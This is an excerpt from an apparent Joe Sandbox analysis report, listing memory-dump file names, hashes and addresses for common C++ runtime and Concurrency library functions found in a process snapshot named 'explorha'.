Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 0defb1aff4182c6f43016742d61adf345c29b3af992880136548df261f116221
Instruction ID: 2f08d792fd564aa4693eb6356701b1114503c16ba1366dc5fd5174a946942f1c
Opcode Fuzzy Hash: 0defb1aff4182c6f43016742d61adf345c29b3af992880136548df261f116221
Instruction Fuzzy Hash: 6881D2729442499BDF219F648C85EEF7BF9EF49710F9801D5E904AB241EF26CDC48BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B066DE Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B067A5
___AdjustPointer.LIBCMT ref: 00B067C8
___AdjustPointer.LIBCMT ref: 00B06864

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 63b820dc6b23960219bcb00c92e942ec16a96bb62e69802012a745803fc7ada9
Instruction ID: bfa28b2a863d9e75d74d0443c5915531b8314b12cc86301844e7480af4716a8c
Opcode Fuzzy Hash: 63b820dc6b23960219bcb00c92e942ec16a96bb62e69802012a745803fc7ada9
Instruction Fuzzy Hash: 7751D7759007029FEB258F14D941B6A7BE4FF00314F1485AEEC41476E1EB31ECA0DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B062A5 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00B062F6
TypeidsEqual.LIBVCRUNTIME ref: 00B0631B
PMDtoOffset.LIBCMT ref: 00B06331
PMDtoOffset.LIBCMT ref: 00B063B2

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 3edc0099010c0c13ca1cab4cfc2f8f3779a100fcc0815779943be7b698dec9c0
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: CC51A835D0421A9FDF10CFA8C5816AEBFF1EF15364F14449AE840A7391D732EA19CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00AFF1C0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AFF1F4

Part of subcall function 00AFA5BF: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00AFA5E0

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00AFF253
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00AFF279
Concurrency::location::_Assign.LIBCMT ref: 00AFF2E6

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: c872530ebae48d36cedf8214a01ff2e102f672f346c8db135a4c2a83bc4c4538
Instruction ID: 68b72f4ed36948e987dfa7d18b5c59ea7936729864d1b4474ef4e2fd8bceeb82
Opcode Fuzzy Hash: c872530ebae48d36cedf8214a01ff2e102f672f346c8db135a4c2a83bc4c4538
Instruction Fuzzy Hash: EB41F378700208AFCB199BA4C885BFDBB75AF49710F1440A9F6069B382DF709D05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6D3F Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00AF6D82
_InternalDeleteHelper.LIBCONCRT ref: 00AF6DB6
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00AF6E1B
SafeRWList.LIBCONCRT ref: 00AF6E2A

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: c9c6817d5f14d8424d0f837118e913a37a7cef5f4c09a368b9e5aa7d52e22d2c
Instruction ID: ba2a1592c54873451242f77a9a7f58dd500b483a1110c4be171b1d3a2d3ba61e
Opcode Fuzzy Hash: c9c6817d5f14d8424d0f837118e913a37a7cef5f4c09a368b9e5aa7d52e22d2c
Instruction Fuzzy Hash: BF312436B006189FDB15AF60C881ABDB7A6AFC9704F144678EA069B345DF70AD05C790

Uniqueness

Uniqueness Score: -1.00%

Function 00AF438C Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

